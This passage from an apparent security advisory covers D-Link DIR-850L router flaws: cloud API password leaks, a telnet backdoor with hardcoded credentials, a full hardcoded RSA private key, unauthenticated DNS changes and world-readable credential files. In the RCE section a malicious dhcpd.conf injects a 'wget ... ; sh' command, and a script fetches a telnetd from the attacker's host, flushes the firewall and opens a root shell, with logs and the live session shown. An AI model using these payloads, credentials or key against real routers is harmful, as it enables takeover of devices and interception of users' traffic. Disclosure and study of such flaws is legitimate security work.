<pre><code>{"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]}
</code></pre>
<p>The answer is, in cleartext (<strong>and contains the password of the device</strong>):</p>
<pre><code>{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"password","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}
</code></pre>
<p>A <code>GET</code> request is done too (the last one on the previous image), which allows to retrieve the password and the previous one (was changed in the router to confirm this fact):</p>
<p><a href="images/2017-dlink-get-password.png" target="_blank"><img src="images/2017-dlink-get-password.png"></a></p>
<p>The request is:</p>
<pre><code>GET https://eu.mydlink.com/device/devices/DEVICE_ID?_=RANDOM_NUMBER&amp;access_token=ACCESS_TOKEN HTTP/1.1
</code></pre>
<p>And the answer is the same, with the previous password (plainPassword) and the new password (adminPassword):</p>
<pre><code>{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}
</code></pre>
<p>Finally, a request is made from the NPAPI plug-in asking for a tunnel between the browser and the remote router:</p>
<p><a href="images/2017-dlink-007-dev-tools.png" target="_blank"><img src="images/2017-dlink-007-dev-tools.png"></a></p>
<p>The request to <code>/tssm/tssml.php</code> will ask the remote Cloud platform to forward the traffic to the device number 3XXXXXXX.
This will provide the attacker information about the new-established TCP tunnel from the browser NPAPI extension to the DLINK 850L router, via the Cloud platform:</p>
<pre><code>https://eu.mydlink.com/tssm/tssml.php?id=EDITED&amp;no=EDITED_DEVICE_ID&amp;type=1&amp;state=3&amp;status=1&amp;ctype=4&amp;browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&amp;message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&amp;_=EDITED_RANDOM_VALUE
</code></pre>
<p>It appears the plugin listens on <code>127.0.0.1:50453/tcp</code> (HTTP) and <code>127.0.0.1:50454/tcp</code> (HTTP over SSL) as shown below:</p>
<p><a href="images/2017-dlink-008-cmd.png" target="_blank"><img src="images/2017-dlink-008-cmd.png"></a></p>
<p>Ok, let's browse <code>http://127.0.0.1:50453/</code>. The traffic is sent to the remote router over the Cloud protocol.</p>
<p><a href="images/2017-dlink-009-router.png" target="_blank"><img src="images/2017-dlink-009-router.png" width="100%" height="100%"></a></p>
<p>By using the password leak found before (in the <code>PUT</code> and <code>GET</code> requests), the attacker can remotely pwn the router and update the firmware with a custom (backdoored) one:</p>
<p><a href="images/2017-dlink-010-router.png" target="_blank"><img src="images/2017-dlink-010-router.png" width="100%" height="100%"></a></p>
<h1>MISSION COMPLETE.</h1>
<p>These vulnerabilities may affect some Dlink NAS/routers/cameras.</p>
<p>On a side note, it is interesting to find that DLink is storing all the passwords of devices using the mydlink service in cleartext.</p>
<p><a id="mydlink-cloud-protocol"></a></p>
<h2>Details - WAN - revA and revB - Weak Cloud protocol</h2>
<p>The MyDlink Cloud protocol is weak. No encryption is provided by default by this technology, it is only a basic TCP relay system.
All the traffic is sent over TCP to remote Amazon server without proper encryption:</p>
<p><a href="images/2017-wireshark-54.194.162.84.2048-tcp.png" target="_blank"><img src="images/2017-wireshark-54.194.162.84.2048-tcp.png" width="100%" height="100%"></a></p>
<p>There are 2 TCP relays:</p>
<ul>
<li>one with the HTTP server of the dlink router as an endpoint</li>
<li>the other one with the HTTPS server of the dlink router as an endpoint.</li>
</ul>
<p>So, it appears, the router is reachable over this TCP tunnel using either HTTP and HTTPS.
By default, you can see HTTP request AND HTTPS request from the browser (over the tunnel) to the router.
About the HTTPS requests, the SSL certificate provided by the router is self-signed. Sus, an invalid certificate can be forged and used in order to successful MITM the device and intercept information. More, by default, a TCP relay for HTTP is made by the NPAPI plugin to the router as shown above.</p>
<p>Futhermore, the <code>/mydlink/signalc</code> program running inside the router uses the MAC address of the device to get an unique identifier,
which will always be the same, even if the dlink device is reset or linked with a new dlink cloud account.
This allows Dlink to 'follow' the ownership of the device.</p>
<p>Hopefully, an user can change the MAC addresses of the device using the <code>rgbin</code> binary (<code>/usr/sbin/devdata</code> is a symlink to <code>/usr/sbin/rgbin</code> and the used argv[0] must be <code>devdata</code> to work):</p>
<pre><code># /usr/sbin/devdata dump # will dump all the configuration
# /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface
</code></pre>
<p>This program will only rewrite information over <code>/dev/mtdblock/4</code>.</p>
<p><strong>Finally, the mydlink interface allows the user to enter credentials for gmail/hotmail accounts, the credentials are then transfered to the routers using the tunnel established with the cloud protocol.
It doesn't seem to be a good idea, as the traffic between the router and the Cloud platform is not encrypted or encrypted using a self-signed certificate without verification and the passwords are sent over this tunnel using the Internet.</strong></p>
<p>These vulnerabilities may affect some Dlink NAS/routers/cameras (every device that supports the MyDlink cloud protocol).</p>
<p>Some wireshark (cleartext traffic and with self-signed certificate):</p>
<p><a href="images/2017-dlink-cloud-cleartext.png" target="_blank"><img src="images/2017-dlink-cloud-cleartext.png"></a></p>
<p><a href="images/2017-dlink-cloud-ssl.png" target="_blank"><img src="images/2017-dlink-cloud-ssl.png"></a></p>
<p><a id="backdoor"></a></p>
<h2>Details - LAN - revB - Backdoor access</h2>
<p>On revB, if you reset the device, the <code>/etc/init0.d/S80mfcd.sh</code> init script will start the <code>mfcd</code> binary with these arguments:</p>
<pre><code>mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &amp;
</code></pre>
<p><code>mfcd</code> is in fact a telnetd server. the <code>-u</code> flag defines the authorized user with the associated password (<code>$image_sign</code> variable). </p>
<p><code>br0</code> is a bridge for these interfaces: <code>eth0</code>, <code>peth0</code>, <code>wlan0</code> et <code>wlan1</code>. This backdoor access can be only used from the LAN side.</p>
<pre><code>user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh
#!/bin/sh
echo [$0]: $1 ... &gt; /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize` 
entn=`devdata get -e ALWAYS_TN`
if [ "$1" = "start" ] &amp;&amp; [ "$entn" = "1" ]; then
        mfcd -i br0 -t 99999999999999999999999999999 &amp;
        exit
fi

if [ "$1" = "start" ] &amp;&amp; [ "$orig_devconfsize" = "0" ]; then

        if [ -f "/usr/sbin/login" ]; then
                image_sign=`cat /etc/config/image_sign`
                mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &amp;
        else
                mfcd &amp;
        fi 
else
        killall mfcd
fi
</code></pre>
<p>By using the login <code>Alphanetworks</code> and the password <code>wrgac25_dlink.2013gui_dir850l</code>, the attacker can get a root shell on the device:</p>
<pre><code>user@kali:~/petage-dlink$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Login: Alphanetworks
Password: wrgac25_dlink.2013gui_dir850l


BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# echo what
what
#
</code></pre>
<p><a id="keys"></a></p>
<h2>Details - WAN &amp;&amp; LAN - revA and revB - Stunnel private keys</h2>
<p>Keys are hardcoded inside the firmware. The administration can be used using HTTPS. This allows an attacker to do SSL MITM:</p>
<pre><code># ls -la /etc/stunnel.key
-rwxr-xr-x    1 root     root         1679 Jan 20  2017 /etc/stunnel.key
# cat /etc/stunnel.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk
MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O
g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau
j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE
ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI
kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+
uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN
vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS
3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb
b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h
IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1
t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo
MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF
rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1
CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC
n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2
a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I
eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/
I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA
S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b
gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/
C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM
Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb
MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ
1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg==
-----END RSA PRIVATE KEY-----
# cat /etc/stunnel_cert.pem
Certificate:
Data:
    Version: 3 (0x2)
    Serial Number:
        87:6f:88:76:87:df:e7:78
    Signature Algorithm: sha1WithRSAEncryption
    Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost
    Validity
        Not Before: Feb 22 06:04:36 2012 GMT
        Not After : Feb 17 06:04:36 2032 GMT
    Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost
    Subject Public Key Info:
        Public Key Algorithm: rsaEncryption
            Public-Key: (2048 bit)
            Modulus:
                00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3:
                fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62:
                35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c:
                c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa:
                79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4:
                44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d:
                e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89:
                15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c:
                ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5:
                4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb:
                9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf:
                19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9:
                84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53:
                01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d:
                9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45:
                98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02:
                ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed:
                7b:eb
            Exponent: 65537 (0x10001)
    X509v3 extensions:
        X509v3 Basic Constraints: 
            CA:FALSE
        Netscape Comment: 
            OpenSSL Generated Certificate
        X509v3 Subject Key Identifier: 
            B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01
        X509v3 Authority Key Identifier: 
            keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2

Signature Algorithm: sha1WithRSAEncryption
    3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61:
    88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c:
    21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27:
    e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43:
    ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88:
    fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d:
    12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4:
    e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14:
    49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b:
    03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f:
    8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad:
    71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8:
    88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42:
    b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01:
    7e:d3:01:13
-----BEGIN CERTIFICATE-----
MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV
BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM
BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT
d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0
MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI
c2luQ2h1MQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDAROb25lMRcwFQYDVQQDDA5H
ZW5lcmFsIFJvdXRlcjEiMCAGCSqGSIb3DQEJARYTd2VibWFzdGVyQGxvY2FsaG9z
dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKP9G2XKXNzaXPPWIjXD
/pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv
ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D
9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l
l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q
7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft
e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH
ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz
0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB
BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl
UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2
84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj
346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o
docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK
L0K03Bik6/rxBA6n4v9drM1hKAF+0wET
-----END CERTIFICATE-----
</code></pre>
<p><a id="dns"></a></p>
<h2>Details - WAN &amp;&amp; LAN - revA - Nonce bruteforcing for DNS configuration</h2>
<p>The file <code>htdocs/parentalcontrols/bind.php</code> allows to change DNS configuration.
It doesn't check authentication of the admin user.</p>
<p>An attacker can bruteforce the nonce (<code>?nonce=integer</code>). There are no limitations of HTTP requests and no authentication method:</p>
<pre><code>  8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;
  9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="")
 10 {
 11         $Response="BindError";
 12 }
 13 else if(query("/runtime/device/uptime") &gt; $uptime_limit)
 14 {
 15         $Response="BindTimeout";
 16 }
</code></pre>
<p>The attacker can then define new DNS servers:</p>
<pre><code> 21         set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]);
 22         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]);
 23         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);
</code></pre>
<p>An attacker can use this vuln to forward traffic to server he/she controls (i.e.: custom Dlink Cloud servers, to take control over the dlink router).</p>
<p><a id="cleartext-passwords"></a></p>
<h2>Details - Local - revA and revB - Weak files permission and credentials stored in cleartext</h2>
<p>It appears some files have weak permissions:</p>
<p>&nbsp;&nbsp;&nbsp;1. <code>/var/passwd</code></p>
<p><code>/var/passwd</code> contains credentials in cleartext.</p>
<p>The permissions of <code>/var/passwd</code> are: -rw-rw-rw- (666)</p>
<pre><code># ls -la /var/passwd
-rw-rw-rw-    1 root     root           28 Jan  1 00:00 /var/passwd
# cat /var/passwd
"Admin" "password" "0"
</code></pre>
<p>&nbsp;&nbsp;&nbsp;2. <code>/var/etc/hnapasswd</code></p>
<p>Note that an attacker can use /var/etc/hnapasswd to retrieve the password in cleartext too:</p>
<pre><code># cat /var/etc/hnapasswd
Admin:password
</code></pre>
<p>The permissions of <code>/var/etc/hnapasswd</code> are: -rw-rw-rw- (666)</p>
<pre><code># ls -la /var/etc/hnapasswd
-rw-rw-rw-    1 root     root           20 Jan  1 00:00 /var/etc/hnapasswd
</code></pre>
<p>&nbsp;&nbsp;&nbsp;3. <code>/etc/shadow</code></p>
<p><code>/etc/shadow</code> is a symlink to <code>/var/etc/passwd</code>. The file <code>/var/etc/passwd</code> is world-readable, as shown below:</p>
<pre><code># ls -al /etc/shadow 
lrwxrwxrwx    1 root     root           15 Jan 20  2017 /etc/shadow -&gt; /var/etc/shadow
# ls -la /var/etc/shadow
-rw-r--r--    1 root     root           93 Jan  1 00:00 /var/etc/shadow
</code></pre>
<p>This file contains a DES hash of the admin user.</p>
<pre><code># cat /var/etc/shadow
root:!:10956:0:99999:7:::
nobody:!:10956:0:99999:7:::
Admin:zVc1PPVw2VWMc:10956:0:99999:7:::
</code></pre>
<p>&nbsp;&nbsp;&nbsp;4. <code>/var/run/storage_account_root</code></p>
<p><code>/var/run/storage_account_root</code> contains credentials in cleartext.</p>
<p>The permissions of <code>/var/passwd</code> are: -rw-rw-rw- (666)</p>
<pre><code># ls -la /var/run/storage_account_root
-rw-rw-rw-    1 root     root           40 Jan  1 00:00 /var/run/storage_account_root
# cat /var/run/storage_account_root
admin:password,:::
jean-claude:dusse,:::
</code></pre>
<p>&nbsp;&nbsp;&nbsp;5. <code>/var/run/hostapd*</code></p>
<p>The files <code>/var/run/hostapd*</code> contain the wireless passphrase in cleartext.</p>
<p>The permissions of these files are: -rw-rw-rw- (666)</p>
<pre><code># ls -la /var/run/hostapd*
-rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan1wps.eap_user
-rw-rw-rw-    1 root     root         1160 Jan  1 00:00 /var/run/hostapd-wlan1.conf
-rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan0wps.eap_user
-rw-rw-rw-    1 root     root         1170 Jan  1 00:00 /var/run/hostapd-wlan0.conf
# cat /var/run/hostapd*|grep -i pass
wpa_passphrase=aaaaa00000
wpa_passphrase=aaaaa00000
</code></pre>
<p><a id="pre-auth-root-rces"></a></p>
<h2>Details - WAN - revB - Pre-Auth RCEs as root (L2)</h2>
<p>The DHCP client running on the router is vulnerable to <u>several</u> command injections as root.</p>
<p>Please use the dhcpd.conf file provided:</p>
<pre><code>rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf
option domain-name ";wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
subnet 10.254.239.0 netmask 255.255.255.224 {
  range 10.254.239.10 10.254.239.20;
  option routers 10.254.239.1;
}
rasp-pwn-dlink# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:0e:c6:aa:aa:aa  
          inet addr:10.254.239.1  Bcast:10.254.239.255  Mask:255.255.255.0
          inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:129 errors:0 dropped:0 overruns:0 frame:0
          TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11181 (10.9 KiB)  TX bytes:49155 (48.0 KiB)

rasp-pwn-dlink# cat /var/www/html/dhcp-rce 
#!/bin/sh

wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
sleep 10
done ) &amp;

/var/telnetd-dhcpd-wan -l /bin/sh -p 110 &amp;

rasp-pwn-dlink# dhcpd eth1
Internet Systems Consortium DHCP Server 4.3.1
Copyright 2004-2014 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 1 leases to leases file.
Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27
Sending on   LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27
Sending on   Socket/fallback/fallback-net
rasp-pwn-dlink#
</code></pre>
<p>When doing a DHCP request at startup, the router connects from the WAN the remote HTTP server:</p>
<pre><code>rasp-pwn-dlink# tail -f /var/log/nginx/access.log
10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget"
10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget"
10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
</code></pre>
<p>And now we got a telnetd from the WAN:</p>
<pre><code>rasp-pwn-dlink# telnet 10.254.239.10 110
Trying 10.254.239.10...
Connected to 10.254.239.10.
Escape character is '^]'.


BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# uname -ap
Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux
# cd /var
# ls -la
drwxr-xr-x    5 root     root            0 Jan  1 00:00 etc
drwxr-xr-x    2 root     root            0 Jan  1  1970 log
drwxr-xr-x    3 root     root            0 Jan  1 00:00 run
drwxr-xr-x    2 root     root            0 Jan  1  1970 sealpac
drwxr-xr-x    4 root     root            0 Jan  1 00:00 tmp
drwxr-xr-x    2 root     root            0 Jan  1  1970 dnrd
drwxr-xr-x    4 root     root            0 Jan  1  1970 htdocs
-rw-r--r--    1 root     root           10 Jan  1  1970 TZ
drwxr-xr-x    2 root     root            0 Jan  1 00:00 servd
-rw-r--r--    1 root     root         5588 Jan  1  1970 default_wifi.xml
-rw-rw-rw-    1 root     root           28 Jan  1 00:00 passwd
drwxrwx---    2 root     root            0 Jan  1 00:00 session
srwxr-xr-x    1 root     root            0 Jan  1 00:00 gpio_ctrl
-rw-r--r--    1 root     root            2 Jan  1 00:00 sys_op
drwxr-xr-x    2 root     root            0 Jan  1 00:00 home
lrwxrwxrwx    1 root     root           16 Jan  1 00:00 portal_share -&gt; /var/tmp/storage
drwxr-xr-x    3 root     root            0 Jan  1 00:00 proc
-rwxr-xr-x    1 root     root          856 Jan  1 00:00 killrc0
drwxr-xr-x    2 root     root            0 Jan  1 00:00 porttrigger
-rw-r--r--    1 root     root          383 Jan  1 00:00 re
-rwxrwxrwx    1 root     root        10520 Jan  1 00:00 telnetd-dhcpd-wan
-rw-rw-rw-    1 root     root          301 Jan  1 00:00 rendezvous.conf
-rw-rw-rw-    1 root     root          523 Jan  1 00:00 stunnel.conf
-rw-rw-rw-    1 root     root          282 Jan  1 00:00 topology.conf
-rw-rw-rw-    1 root     root          394 Jan  1 00:00 lld2d.conf
-rw-r--r--    1 root     root          199 Jan  1 00:00 hosts
drwxr-xr-x   16 root     root          241 Jan 20  2017 ..
drwxr-xr-x   14 root     root            0 Jan  1 00:00 .
# cat re
#!/bin/sh

wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules
iptables -F        
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
sleep 10 
done ) &amp;
/var/telnetd-dhcpd-wan -l /bin/sh -p 110 &amp;

#
</code></pre>
<p>This telnetd access is reachable from the WAN and the LAN.</p>
<h3>Analysis of the vulnerabilities</h3>
<p>There are several WAN RCEs. The first problem is located here:</p>
<p><code>/etc/services/INET/inet_ipv4.php</code></p>
<pre><code> 94         $udhcpc_helper  = "/var/servd/".$inf."-udhcpc.sh";
</code></pre>
<p>And you have command injections everywhere starting line 101.</p>
<pre><code> 99     fwrite(w,$udhcpc_helper, 
100                 '#!/bin/sh\n'.
101                 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... &gt; /dev/console\n'.
102                 'phpsh '.$hlper.' ACTION=$1'.
103                         ' INF='.$inf.
104                         ' INET='.$inet.
105                         ' MTU='.$mtu.
106                         ' INTERFACE=$interface'.
107                         ' IP=$ip'.
108                         ' SUBNET=$subnet'.
109                         ' BROADCAST=$broadcast'.
110                         ' LEASE=$lease'.
